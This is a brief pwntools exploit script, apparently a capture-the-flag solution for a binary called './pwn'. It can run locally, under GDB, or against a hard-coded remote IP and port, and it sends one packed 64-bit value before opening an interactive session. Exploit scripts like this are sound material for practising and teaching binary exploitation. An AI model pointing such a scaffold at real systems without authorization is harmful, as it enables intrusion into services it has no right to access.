#!/usr/bin/python3 from pwn import * filename = "./pwn" libcname = "/lib/x86_64-linux-gnu/libc.so.6" host = '116.198.216.209' port = 3619 elf = context.binary = ELF(filename) context.terminal = ['tmux', 'neww'] if libcname: libc = ELF(libcname) gs = ''' b main ''' def start(): if args.GDB: return gdb.debug(elf.path, gdbscript = gs) elif args.REMOTE: return remote(host, port) else: return process(elf.path) p = start() p.sendline(p64(0xf61df61df61df61d)) p.interactive()